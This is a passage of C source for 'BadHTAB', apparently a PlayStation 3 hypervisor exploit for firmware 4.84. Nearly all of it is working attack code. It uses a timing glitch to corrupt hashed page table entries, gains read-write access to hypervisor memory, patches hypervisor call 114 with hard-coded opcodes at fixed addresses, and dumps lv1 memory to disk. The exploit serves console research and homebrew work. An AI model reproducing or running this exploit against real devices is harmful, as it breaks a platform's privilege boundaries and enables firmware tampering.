PrintLog("still alive... %lu, writeCount = %u, readCount = %u, delta = %d\n", loopCount, writeCount, readCount, (writeCount - readCount)); 362 | 363 | lv2_beep_single(); 364 | 365 | writeCount = 0; 366 | readCount = 0; 367 | } 368 | } 369 | } 370 | 371 | void Stage1_v2() 372 | { 373 | PrintLog("Stage1_v2...\n"); 374 | 375 | if (IsExploited()) 376 | { 377 | PrintLog("Already exploited, skipping...\n"); 378 | return; 379 | } 380 | 381 | if (FoundBadHTABIdx()) 382 | { 383 | PrintLog("Already have bad htab, skipping...\n"); 384 | return; 385 | } 386 | 387 | Glitcher_Init(); 388 | 389 | uint64_t loopCount = 0; 390 | 391 | uint32_t writeCount = 0; 392 | uint32_t readCount = 0; 393 | 394 | uint64_t sumtdelta = 0; 395 | 396 | uint64_t doGlitchWhen = 5; 397 | 398 | while (1) 399 | { 400 | bool stop = false; 401 | 402 | int32_t res; 403 | 404 | uint64_t lpar_addr; 405 | uint64_t muid; 406 | 407 | res = lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr, &muid); 408 | 409 | if (res != 0) 410 | { 411 | PrintLog("lv1_allocate_memory failed, res = %d\n", res); 412 | 413 | abort(); 414 | return; 415 | } 416 | 417 | { 418 | HTABE htabe; 419 | 420 | uint32_t htab_idx; 421 | 422 | for (htab_idx = glitch_htab_begin_idx; htab_idx < glitch_htab_end_idx; htab_idx++) 423 | { 424 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 425 | 426 | if (HTABE_IS_VALID(htabe)) 427 | continue; 428 | 429 | htabe_set_lpar(&htabe, 430 | CALC_SPECIAL_VA(SPECIAL_VA, htab_idx), SPECIAL_VA_FLAGS_VALID, 431 | lpar_addr, SPECIAL_RA_FLAGS_READWRITE); 432 | 433 | res = lv1_write_htab_entry(0, htab_idx, htabe.Num[0], htabe.Num[1]); 434 | 435 | if (res != 0) 436 | { 437 | PrintLog("lv1_write_htab_entry failed, htab_idx = %u, num0 = %lx, num1 = %lx, res = %d\n", 438 | htab_idx, htabe.Num[0], htabe.Num[1], res); 439 | } 440 | 441 | writeCount++; 442 | } 443 | } 444 | 445 | eieio(); 446 | if (loopCount >= doGlitchWhen) 447 | Glitcher_Start(); 448 | uint64_t t1 = GetTimeInUs(); 449 | 450 | res = lv2_lv1_release_memory_intr(lpar_addr); 451 | // res = lv1_release_memory(lpar_addr); 452 | 453 | uint64_t t2 = GetTimeInUs(); 454 | if (loopCount >= doGlitchWhen) 455 | Glitcher_Stop(); 456 | eieio(); 457 | 458 | if (res != 0) 459 | { 460 | PrintLog("lv1_release_memory failed, res = %d\n", res); 461 | 462 | abort(); 463 | return; 464 | } 465 | 466 | sumtdelta += (t2 - t1); 467 | 468 | { 469 | HTABE htabe; 470 | 471 | uint32_t htab_idx; 472 | 473 | uint32_t count = 0; 474 | 475 | for (htab_idx = glitch_htab_begin_idx; htab_idx < glitch_htab_end_idx; htab_idx++) 476 | { 477 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 478 | 479 | if ((HTABE_GET_VA(htabe) & SPECIAL_VA_MASK) == SPECIAL_VA) 480 | readCount++; 481 | 482 | if (!HTABE_IS_VALID(htabe) || (HTABE_GET_VA(htabe) & SPECIAL_VA_MASK) != SPECIAL_VA) 483 | continue; 484 | 485 | PrintLog("Bad HTAB found!!!, htab_idx = %u\n", htab_idx); 486 | 487 | if (count == 0) 488 | { 489 | lv2_beep_triple(); 490 | Sleep(1); 491 | lv2_beep_triple(); 492 | Sleep(2); 493 | lv2_beep_triple(); 494 | Sleep(2); 495 | lv2_beep_triple(); 496 | Sleep(2); 497 | } 498 | 499 | PrintSingleHTAB(&htabe); 500 | 501 | count++; 502 | stop = true; 503 | } 504 | } 505 | 506 | if (stop) 507 | { 508 | // PrintHTAB(); 509 | break; 510 | } 511 | 512 | loopCount++; 513 | 514 | static const uint64_t zzz = 1; 515 | if ((loopCount % zzz) == 0) 516 | { 517 | PrintLog("still alive... %lu, writeCount = %u, readCount = %u, delta = %d, avgtdelta = %luus\n", 518 | loopCount, writeCount, readCount, (writeCount - readCount), (sumtdelta / zzz)); 519 | 520 | lv2_beep_single(); 521 | 522 | writeCount = 0; 523 | readCount = 0; 524 | 525 | sumtdelta = 0; 526 | } 527 | 528 | WaitInMs(100); 529 | } 530 | 531 | Glitcher_Destroy(); 532 | } 533 | 534 | // CFW don't need glitching 535 | // requires lv1 htab write protection patch 536 | void Stage1_CFW() 537 | { 538 | PrintLog("Stage1_CFW()\n"); 539 | 540 | if (FoundBadHTABIdx()) 541 | { 542 | PrintLog("Already have bad htab, skipping...\n"); 543 | return; 544 | } 545 | 546 | int32_t res; 547 | 548 | uint64_t old_vas_id; 549 | 550 | res = lv1_get_virtual_address_space_id_of_ppe(PPE_ID0, &old_vas_id); 551 | 552 | if (res != 0) 553 | { 554 | PrintLog("lv1_get_virtual_address_space_id_of_ppe failed!!!, res = %d\n", res); 555 | 556 | abort(); 557 | return; 558 | } 559 | 560 | PrintLog("old_vas_id = %lu\n", old_vas_id); 561 | 562 | uint64_t old_htab_lpar_addr = 0; 563 | res = lv1_map_htab(old_vas_id, &old_htab_lpar_addr); 564 | 565 | if (res != 0) 566 | { 567 | PrintLog("lv1_map_htab failed!!!, res = %d\n", res); 568 | 569 | abort(); 570 | return; 571 | } 572 | 573 | PrintLog("old_htab_lpar_addr = 0x%lx\n", old_htab_lpar_addr); 574 | 575 | uint64_t old_htab_ea = 0x8000000014000000ul; 576 | map_lpar_to_lv2_ea(old_htab_lpar_addr, old_htab_ea, GameOS_HTAB_SizeInBytes, false, false); 577 | 578 | uint64_t lpar_addr; 579 | uint64_t muid; 580 | 581 | res = lv1_allocate_memory(SIZE_256KB, EXP_256KB, 0, 0, &lpar_addr, &muid); 582 | 583 | if (res != 0) 584 | { 585 | PrintLog("lv1_allocate_memory failed, res = %d\n", res); 586 | 587 | abort(); 588 | return; 589 | } 590 | 591 | PrintLog("lpar_addr = 0x%lx\n", lpar_addr); 592 | 593 | uint32_t htab_idx = FindFreeHTABIdx(); 594 | 595 | { 596 | HTABE htabe; 597 | 598 | htabe_set_lpar(&htabe, 599 | CALC_SPECIAL_VA(SPECIAL_VA, htab_idx), SPECIAL_VA_FLAGS_VALID, 600 | lpar_addr, SPECIAL_RA_FLAGS_READWRITE); 601 | 602 | res = lv1_write_htab_entry(0, htab_idx, htabe.Num[0], htabe.Num[1]); 603 | 604 | if (res != 0) 605 | { 606 | PrintLog("lv1_write_htab_entry failed, htab_idx = %u, num0 = %lx, num1 = %lx, res = %d\n", 607 | htab_idx, htabe.Num[0], htabe.Num[1], res); 608 | 609 | abort(); 610 | } 611 | } 612 | 613 | res = lv1_release_memory(lpar_addr); 614 | 615 | if (res != 0) 616 | { 617 | PrintLog("lv1_release_memory failed, res = %d\n", res); 618 | 619 | abort(); 620 | return; 621 | } 622 | 623 | { 624 | HTABE htabe; 625 | 626 | lv2_read(CalcHTAB_EA_Addr_By_HtabIdx(old_htab_ea, htab_idx), sizeof(HTABE), &htabe); 627 | PrintSingleHTAB(&htabe); 628 | 629 | htabe.V = 1; 630 | lv2_write(CalcHTAB_EA_Addr_By_HtabIdx(old_htab_ea, htab_idx), sizeof(HTABE), &htabe); 631 | PrintSingleHTAB(&htabe); 632 | } 633 | 634 | res = lv1_unmap_htab(old_htab_lpar_addr); 635 | 636 | if (res != 0) 637 | { 638 | PrintLog("lv1_unmap_htab failed!!!, res = %d\n", res); 639 | 640 | abort(); 641 | return; 642 | } 643 | 644 | PrintLog("Bad HTAB Idx = %u, htab_idx = %u\n", FindBadHTABIdx(), htab_idx); 645 | 646 | PrintLog("Stage1_CFW done\n"); 647 | } 648 | 649 | // offset in bytes: 650 | 651 | // -80 = size 652 | // 0 = ra 653 | // 88 = lpar 654 | 655 | struct DMMR_s 656 | { 657 | public: 658 | uint64_t ra; 659 | uint64_t size; 660 | uint64_t lpar_addr; 661 | }; 662 | 663 | static const uint32_t dmmr_count = 512; 664 | DMMR_s dmmrs[dmmr_count]; 665 | 666 | void Stage2_114() 667 | { 668 | PrintLog("Stage2_114()\n"); 669 | 670 | #if 0 671 | if (IsExploited()) 672 | { 673 | PrintLog("Already exploited, skipping...\n"); 674 | return; 675 | } 676 | #endif 677 | 678 | int32_t res; 679 | 680 | PrintLog("Allocating dmmrs\n"); 681 | 682 | for (uint32_t i = 0; i < dmmr_count; i++) 683 | { 684 | DMMR_s *dmmr = &dmmrs[i]; 685 | 686 | dmmr->ra = 0x28080000000ul + (i * 4096); 687 | // dmmr->size = 4096; 688 | dmmr->size = 0; 689 | dmmr->lpar_addr = 0; 690 | 691 | res = lv1_map_physical_address_region(dmmr->ra, EXP_4KB, dmmr->size, &dmmr->lpar_addr); 692 | 693 | if (res != 0) 694 | { 695 | PrintLog("lv1_map_physical_address_region failed!!!, res = %d\n", res); 696 | 697 | dmmr->lpar_addr = 0; 698 | break; 699 | } 700 | 701 | PrintLog("dmmr %u, ra = 0x%lx, size = %lu, lpar_addr = 0x%lx\n", i, dmmr->ra, dmmr->size, dmmr->lpar_addr); 702 | } 703 | 704 | // 705 | 706 | uint32_t htab_idx = FindBadHTABIdx(); 707 | 708 | HTABE htabe; 709 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 710 | 711 | uint64_t htabe_ra = HTABE_GET_RA(htabe); 712 | 713 | PrintLog("bad htab_idx = %u, ra = 0x%lx\n", htab_idx, htabe_ra); 714 | 715 | // 716 | 717 | uint64_t *our_rw = (uint64_t *)CALC_SPECIAL_EA(SPECIAL_EA, htab_idx, htabe); 718 | // uint8_t* our_rw_u8 = (uint8_t*)our_rw; 719 | 720 | PrintLog("Checking for overlap...\n"); 721 | 722 | static const uint32_t need_overlap_dmmi_count = 2; 723 | 724 | uint32_t found = 0; 725 | 726 | uint64_t found_i[need_overlap_dmmi_count]; 727 | 728 | DMMR_s *found_overlap_dmmr[need_overlap_dmmi_count]; 729 | uint32_t found_overlap_dmmr_i[need_overlap_dmmi_count]; 730 | 731 | for (uint32_t i = 0; i < need_overlap_dmmi_count; i++) 732 | { 733 | found_i[i] = 0; 734 | 735 | found_overlap_dmmr[i] = NULL; 736 | found_overlap_dmmr_i[i] = 0; 737 | } 738 | 739 | for (uint64_t i = 12; i < 4096 / 8; i++) 740 | { 741 | slb_add_segment(SPECIAL_EA, HTABE_GET_VA(htabe), SLBE_KP); 742 | uint64_t v = our_rw[i]; 743 | slb_add_segment(SPECIAL_EA, HTABE_GET_VA(htabe), SLBE_KP); 744 | uint64_t vsize = our_rw[i - 10]; 745 | slb_add_segment(SPECIAL_EA, HTABE_GET_VA(htabe), SLBE_KP); 746 | uint64_t vlpar = our_rw[i + 11]; 747 | 748 | // PrintLog("v = %lx\n", v); 749 | 750 | for (uint32_t i2 = 0; i2 < dmmr_count; i2++) 751 | { 752 | DMMR_s *dmmr = &dmmrs[i2]; 753 | 754 | if (dmmr->lpar_addr == 0) 755 | continue; 756 | 757 | if ((v == dmmr->ra) && (vsize == dmmr->size) && (vlpar == dmmr->lpar_addr)) 758 | { 759 | found_i[found] = i; 760 | 761 | found_overlap_dmmr[found] = dmmr; 762 | found_overlap_dmmr_i[found] = i2; 763 | 764 | found++; 765 | break; 766 | } 767 | } 768 | 769 | if (found == need_overlap_dmmi_count) 770 | break; 771 | } 772 | 773 | if (found != need_overlap_dmmi_count) 774 | { 775 | PrintLog("Not found, abort!\n"); 776 | 777 | PrintLog("Cleanup...\n"); 778 | 779 | for (uint32_t i = 0; i < dmmr_count; i++) 780 | { 781 | DMMR_s *dmmr = &dmmrs[i]; 782 | 783 | if (dmmr->lpar_addr == 0) 784 | continue; 785 | 786 | res = lv1_unmap_physical_address_region(dmmr->lpar_addr); 787 | 788 | if (res != 0) 789 | { 790 | PrintLog("lv1_unmap_physical_address_region failed!!!, res = %d\n", res); 791 | 792 | abort(); 793 | return; 794 | } 795 | } 796 | 797 | abort(); 798 | return; 799 | } 800 | 801 | for (uint32_t i = 0; i < need_overlap_dmmi_count; i++) 802 | { 803 | DMMR_s *d = found_overlap_dmmr[i]; 804 | 805 | PrintLog("Found!, %lu, dmmr %u, ra = 0x%lx, size = %lu, lpar_addr = 0x%lx\n", 806 | found_i[i], found_overlap_dmmr_i[i], d->ra, d->size, d->lpar_addr); 807 | } 808 | 809 | // 810 | 811 | PrintLog("Cleanup unneeded dmmrs ...\n"); 812 | 813 | for (uint32_t i = 0; i < dmmr_count; i++) 814 | { 815 | DMMR_s *dmmr = &dmmrs[i]; 816 | 817 | if (dmmr->lpar_addr == 0) 818 | continue; 819 | 820 | bool skip = false; 821 | 822 | for (uint32_t i2 = 0; i2 < need_overlap_dmmi_count; i2++) 823 | { 824 | if (dmmr == found_overlap_dmmr[i2]) 825 | { 826 | skip = true; 827 | break; 828 | } 829 | } 830 | 831 | if (skip) 832 | continue; 833 | 834 | res = lv1_unmap_physical_address_region(dmmr->lpar_addr); 835 | 836 | if (res != 0) 837 | { 838 | PrintLog("lv1_unmap_physical_address_region failed!!!, res = %d\n", res); 839 | 840 | abort(); 841 | return; 842 | } 843 | 844 | dmmr->lpar_addr = 0; 845 | } 846 | 847 | PrintLog("Cleanup done\n"); 848 | 849 | // patch hvcall 114, map everywhere 850 | 851 | // < 2F 80 00 00 41 9E 00 28 38 60 00 00 38 80 00 00 852 | // --- 853 | // > 60 00 00 00 48 00 00 28 38 60 00 00 38 80 00 00 854 | 855 | { 856 | static const uint32_t iidx = 0; 857 | 858 | uint64_t want_ra = 0; 859 | 860 | if (fwVersion == 4.84) 861 | want_ra = 0x2DCF54; 862 | else 863 | { 864 | PrintLog("firmware not supported!!!\n"); 865 | 866 | abort(); 867 | return; 868 | } 869 | 870 | uint64_t want_offset = (want_ra % 4096); 871 | 872 | PrintLog("want_ra = 0x%lx, want_offset = %lu\n", want_ra, want_offset); 873 | 874 | // 875 | 876 | uint64_t patched_ra = (want_ra - want_offset); // can be ANY address you want, must be 4096 aligned 877 | uint64_t patched_size = 4096; // this is maximum we can do 878 | 879 | slb_add_segment(SPECIAL_EA, HTABE_GET_VA(htabe), SLBE_KP); 880 | our_rw[found_i[iidx]] = patched_ra; 881 | slb_add_segment(SPECIAL_EA, HTABE_GET_VA(htabe), SLBE_KP); 882 | our_rw[found_i[iidx] - 10] = patched_size; 883 | 884 | if (htab_ra_from_lpar(found_overlap_dmmr[iidx]->lpar_addr) != patched_ra) 885 | { 886 | PrintLog("patch ra failed!!! abort()\n"); 887 | 888 | abort(); 889 | return; 890 | } 891 | 892 | PrintLog("patched ra = 0x%lx, size = %lu\n", patched_ra, patched_size); 893 | 894 | found_overlap_dmmr[iidx]->ra = patched_ra; 895 | found_overlap_dmmr[iidx]->size = patched_size; 896 | 897 | // 898 | 899 | uint64_t dest_ea = 0x8000000014000000ul; 900 | map_lpar_to_lv2_ea(found_overlap_dmmr[iidx]->lpar_addr, dest_ea, patched_size, false, false); 901 | 902 | #if 0 903 | 904 | for (uint64_t i = 0; i < 4096 / 8; i++) 905 | { 906 | uint64_t v; 907 | lv2_read(dest_ea + (i * 8), 8, &v); 908 | 909 | PrintLog("%lu, 0x%lx\n", i, v); 910 | } 911 | 912 | #endif 913 | 914 | PrintLog("Patching hvcall 114 now!!!\n"); 915 | 916 | { 917 | // 2F 80 00 00 41 9E 00 28 918 | 919 | uint64_t old; 920 | lv2_read(dest_ea + want_offset, 8, &old); 921 | 922 | PrintLog("old = 0x%lx\n", old); 923 | 924 | // 60 00 00 00 48 00 00 28 925 | 926 | uint64_t newval = 0x6000000048000028; 927 | lv2_write(dest_ea + want_offset, 8, &newval); 928 | 929 | PrintLog("new = 0x%lx\n", newval); 930 | 931 | // 932 | 933 | uint64_t newval2; 934 | lv2_read(dest_ea + want_offset, 8, &newval2); 935 | 936 | PrintLog("new2 = 0x%lx\n", newval2); 937 | } 938 | 939 | res = lv1_unmap_physical_address_region(found_overlap_dmmr[iidx]->lpar_addr); 940 | 941 | if (res != 0) 942 | { 943 | PrintLog("lv1_unmap_physical_address_region failed!!!, res = %d\n", res); 944 | 945 | abort(); 946 | return; 947 | } 948 | 949 | found_overlap_dmmr[iidx]->lpar_addr = 0; 950 | } 951 | 952 | // part 2 953 | 954 | { 955 | static const uint32_t iidx = 1; 956 | 957 | uint64_t want_ra = 0; 958 | 959 | if (fwVersion == 4.84) 960 | want_ra = 0x241ecc; 961 | else 962 | { 963 | PrintLog("firmware not supported!!!\n"); 964 | 965 | abort(); 966 | return; 967 | } 968 | 969 | uint64_t want_offset = (want_ra % 4096); 970 | 971 | PrintLog("want_ra = 0x%lx, want_offset = %lu\n", want_ra, want_offset); 972 | 973 | // 974 | 975 | uint64_t patched_ra = (want_ra - want_offset); // can be ANY address you want, must be 4096 aligned 976 | uint64_t patched_size = 4096; // this is maximum we can do 977 | 978 | slb_add_segment(SPECIAL_EA, HTABE_GET_VA(htabe), SLBE_KP); 979 | our_rw[found_i[iidx]] = patched_ra; 980 | slb_add_segment(SPECIAL_EA, HTABE_GET_VA(htabe), SLBE_KP); 981 | our_rw[found_i[iidx] - 10] = patched_size; 982 | 983 | if (htab_ra_from_lpar(found_overlap_dmmr[iidx]->lpar_addr) != patched_ra) 984 | { 985 | PrintLog("patch ra failed!!! abort()\n"); 986 | 987 | abort(); 988 | return; 989 | } 990 | 991 | PrintLog("patched ra = 0x%lx, size = %lu\n", patched_ra, patched_size); 992 | 993 | found_overlap_dmmr[iidx]->ra = patched_ra; 994 | found_overlap_dmmr[iidx]->size = patched_size; 995 | 996 | // 997 | 998 | uint64_t dest_ea = 0x8000000014000000ul; 999 | map_lpar_to_lv2_ea(found_overlap_dmmr[iidx]->lpar_addr, dest_ea, patched_size, false, false); 1000 | 1001 | #if 0 1002 | 1003 | for (uint64_t i = 0; i < 4096 / 8; i++) 1004 | { 1005 | uint64_t v; 1006 | lv2_read(dest_ea + (i * 8), 8, &v); 1007 | 1008 | PrintLog("%lu, 0x%lx\n", i, v); 1009 | } 1010 | 1011 | #endif 1012 | 1013 | PrintLog("Patching hvcall 114 part 2 now!!!\n"); 1014 | 1015 | { 1016 | // 4B FF FD 00 38 60 00 00 1017 | 1018 | uint64_t old; 1019 | lv2_read(dest_ea + want_offset, 8, &old); 1020 | 1021 | PrintLog("old = 0x%lx\n", old); 1022 | 1023 | // 4B FF FD 01 38 60 00 00 1024 | 1025 | uint64_t newval = 0x4BFFFD0138600000; 1026 | lv2_write(dest_ea + want_offset, 8, &newval); 1027 | 1028 | PrintLog("new = 0x%lx\n", newval); 1029 | 1030 | // 1031 | 1032 | uint64_t newval2; 1033 | lv2_read(dest_ea + want_offset, 8, &newval2); 1034 | 1035 | PrintLog("new2 = 0x%lx\n", newval2); 1036 | } 1037 | 1038 | res = lv1_unmap_physical_address_region(found_overlap_dmmr[iidx]->lpar_addr); 1039 | 1040 | if (res != 0) 1041 | { 1042 | PrintLog("lv1_unmap_physical_address_region failed!!!, res = %d\n", res); 1043 | 1044 | abort(); 1045 | return; 1046 | } 1047 | 1048 | found_overlap_dmmr[iidx]->lpar_addr = 0; 1049 | } 1050 | 1051 | PrintLog("Patch done!!!\n"); 1052 | 1053 | // cleanup... 1054 | 1055 | PrintLog("Cleanup...\n"); 1056 | 1057 | for (uint32_t i = 0; i < dmmr_count; i++) 1058 | { 1059 | DMMR_s *dmmr = &dmmrs[i]; 1060 | 1061 | if (dmmr->lpar_addr == 0) 1062 | continue; 1063 | 1064 | res = lv1_unmap_physical_address_region(dmmr->lpar_addr); 1065 | 1066 | if (res != 0) 1067 | { 1068 | PrintLog("lv1_unmap_physical_address_region failed!!!, res = %d\n", res); 1069 | 1070 | abort(); 1071 | return; 1072 | } 1073 | } 1074 | 1075 | eieio(); 1076 | isync(); 1077 | } 1078 | 1079 | void DumpLv2Lv1() 1080 | { 1081 | PrintLog("Dumping lv1 through lv2 to /dev_hdd0/lv2_lv1dump.bin ...\n"); 1082 | 1083 | lv2_beep_triple(); 1084 | 1085 | FILE *f = fopen("/dev_hdd0/lv2_lv1dump.bin", "wb"); 1086 | 1087 | size_t dumpSize = 16 * 1024 * 1024; 1088 | uint64_t dumpAddr = 0; 1089 | 1090 | void *buf = malloc(dumpSize); 1091 | 1092 | lv2_lv1_read(dumpAddr, dumpSize, buf); 1093 | 1094 | fwrite(buf, 1, dumpSize, f); 1095 | 1096 | free(buf); 1097 | 1098 | fflush(f); 1099 | fclose(f); 1100 | 1101 | PrintLog("dump done.\n"); 1102 | 1103 | lv2_beep_single(); 1104 | } 1105 | 1106 | void DumpLv1() 1107 | { 1108 | PrintLog("Dumping lv1 to /dev_hdd0/lv1dump.bin ... This may take few minutes......\n"); 1109 | 1110 | lv2_beep_long(); 1111 | 1112 | FILE *f = fopen("/dev_hdd0/lv1dump.bin", "wb"); 1113 | 1114 | size_t dumpSize = 16 * 1024 * 1024; 1115 | uint64_t dumpAddr = 0; 1116 | 1117 | void *buf = malloc(dumpSize); 1118 | 1119 | lv1_read(dumpAddr, dumpSize, buf); 1120 | 1121 | fwrite(buf, 1, dumpSize, f); 1122 | 1123 | free(buf); 1124 | 1125 | fflush(f); 1126 | fclose(f); 1127 | 1128 | PrintLog("dump done.\n"); 1129 | 1130 | lv2_beep_single(); 1131 | } 1132 | 1133 | void GlitcherTest() 1134 | { 1135 | PrintLog("GlitcherTest()\n"); 1136 | 1137 | Glitcher_Init(); 1138 | 1139 | bool success = false; 1140 | 1141 | uint64_t size = 1 * 1024 * 1024; 1142 | uint8_t *mem = (uint8_t *)malloc(size); 1143 | 1144 | PrintLog("mem = 0x%lx, size = %lu\n", (uint64_t)mem, size); 1145 | 1146 | uint64_t loopCount = 0; 1147 | 1148 | while (1) 1149 | { 1150 | PrintLog("loopCount = %lu\n", loopCount); 1151 | lv2_beep_single(); 1152 | 1153 | PrintLog("Writing stage1...\n"); 1154 | 1155 | for (uint64_t i = 0; i < size; i++) 1156 | { 1157 | uint64_t addr = (uint64_t)&mem[i]; 1158 | uint8_t v = (addr % 255); 1159 | 1160 | mem[i] = v; 1161 | } 1162 | 1163 | eieio(); 1164 | 1165 | PrintLog("Writing memory...\n"); 1166 | 1167 | uint64_t writeCount = 0; 1168 | 1169 | #if 0 1170 | 1171 | //uint64_t maxWriteTimeInMs = 0; 1172 | //uint64_t startTime = GetTimeInMs(); 1173 | //uint64_t endTime = startTime + maxWriteTimeInMs; 1174 | 1175 | eieio(); 1176 | Glitcher_Start(); 1177 | uint64_t t1 = GetTimeInUs(); 1178 | eieio(); 1179 | 1180 | for (uint64_t i = 0; i < size; i++) 1181 | { 1182 | uint64_t addr = (uint64_t)&mem[i]; 1183 | //uint8_t v = (255 - (addr % 255)); 1184 | uint8_t v = 0x69; 1185 | 1186 | mem[i] = v; 1187 | 1188 | writeCount++; 1189 | 1190 | //if (maxWriteTimeInMs != 0) 1191 | //{ 1192 | // if (GetTimeInMs() >= endTime) 1193 | // break; 1194 | //} 1195 | } 1196 | 1197 | eieio(); 1198 | uint64_t t2 = GetTimeInUs(); 1199 | Glitcher_Stop(); 1200 | 1201 | #else 1202 | 1203 | Glitcher_Start(); 1204 | uint64_t t1 = GetTimeInUs(); 1205 | 1206 | lv2_glitcher_test((uint64_t)mem, size, &writeCount); 1207 | 1208 | uint64_t t2 = GetTimeInUs(); 1209 | Glitcher_Stop(); 1210 | 1211 | #endif 1212 | 1213 | PrintLog("writeCount = %lu, delta = %luus\n", writeCount, (t2 - t1)); 1214 | 1215 | PrintLog("Checking memory...\n"); 1216 | 1217 | for (uint64_t i = 0; i < size; i++) 1218 | { 1219 | uint64_t addr = (uint64_t)&mem[i]; 1220 | 1221 | uint8_t v = mem[i]; 1222 | 1223 | // uint8_t expected_v = (i < writeCount) ? (255 - (addr % 255)) : (addr % 255); 1224 | uint8_t expected_v = 0x69; 1225 | 1226 | if (v != expected_v) 1227 | { 1228 | PrintLog("Corruption found!, addr = 0x%lx, offset = %lu, v = 0x%x, expected_v = 0x%x\n", addr, i, (uint32_t)v, (uint32_t)expected_v); 1229 | 1230 | success = true; 1231 | } 1232 | } 1233 | 1234 | if (success) 1235 | { 1236 | lv2_beep_triple(); 1237 | break; 1238 | } 1239 | 1240 | loopCount++; 1241 | 1242 | WaitInMs(500); 1243 | } 1244 | 1245 | free(mem); 1246 | 1247 | Glitcher_Destroy(); 1248 | } 1249 | 1250 | int main(int argc, char *argv[]) 1251 | { 1252 | lv2_beep_triple(); 1253 | 1254 | InitLogging(); 1255 | 1256 | PrintLog("BadHTAB by Kafuu(aomsin2526)\n"); 1257 | 1258 | { 1259 | FILE *fp; 1260 | fp = fopen("/dev_flash/vsh/etc/version.txt", "rb"); 1261 | 1262 | if (fp != NULL) 1263 | { 1264 | char bufs[1024]; 1265 | 1266 | fgets(bufs, 1024, fp); 1267 | fclose(fp); 1268 | 1269 | fwVersion = strtod(bufs + 8, NULL); 1270 | } 1271 | } 1272 | 1273 | PrintLog("fwVersion = %lf\n", fwVersion); 1274 | 1275 | if (fwVersion != 4.84) 1276 | { 1277 | PrintLog("firmware not supported!\n"); 1278 | 1279 | abort(); 1280 | return 0; 1281 | } 1282 | 1283 | WaitInMs(500); 1284 | 1285 | #if 1 1286 | 1287 | #if STAGE1_CFW 1288 | Stage1_CFW(); 1289 | #else 1290 | Stage1_v2(); 1291 | #endif 1292 | 1293 | Stage2_114(); 1294 | 1295 | PrintLog("lv1_peek/poke now available.\n"); 1296 | 1297 | DumpLv1(); 1298 | 1299 | #else 1300 | 1301 | GlitcherTest(); 1302 | 1303 | #endif 1304 | 1305 | PrintLog("Bye!\n"); 1306 | 1307 | DestroyLogging(); 1308 | 1309 | Sleep(5); 1310 | lv2_beep_long(); 1311 | Sleep(5); 1312 | lv2_beep_triple(); 1313 | 1314 | return 0; 1315 | } --------------------------------------------------------------------------------